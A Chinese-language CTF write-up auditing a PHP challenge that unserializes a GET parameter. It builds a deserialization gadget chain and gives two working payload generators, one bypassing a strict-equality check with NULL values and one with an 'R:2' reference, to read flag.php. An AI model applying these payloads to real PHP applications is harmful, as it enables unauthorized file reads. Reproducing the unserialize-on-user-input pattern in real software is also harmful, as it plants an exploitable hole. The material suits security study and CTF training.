php代码审计:
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
反序列化链:
acp的__toString() -> $this->cinder=ace的echo_name()
难点,绕过$this->openstack->neutron === $this->openstack->nova:
第一种:
用NULL===NULL进行绕过,即$nova=NULL
payload:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker = 'O:3:"acp":3:{s:9:"\00*\00cinder";N;s:7:"neutron";N;s:4:"nova";N;}';
}
echo urlencode(serialize(new acp))
?>
$docker 反序列化来源:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova = NULL;
}
echo serialize(new acp);
再将序列化的结果作为参数拼接到url上:
flag在源码中;
第二种, 用"R:2"绕过:
在 PHP 的序列化字符串中,R: 表示一个引用。在你提供的序列化字符串中,R:2; 表示引用编号为 2 的对象。这意味着,在反序列化这个字符串时,属性 "nova" 的值将是之前引用编号为 2 的对象所指向的值。即:O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}
payload:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = "flag.php";
$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;
然后做法同第一种;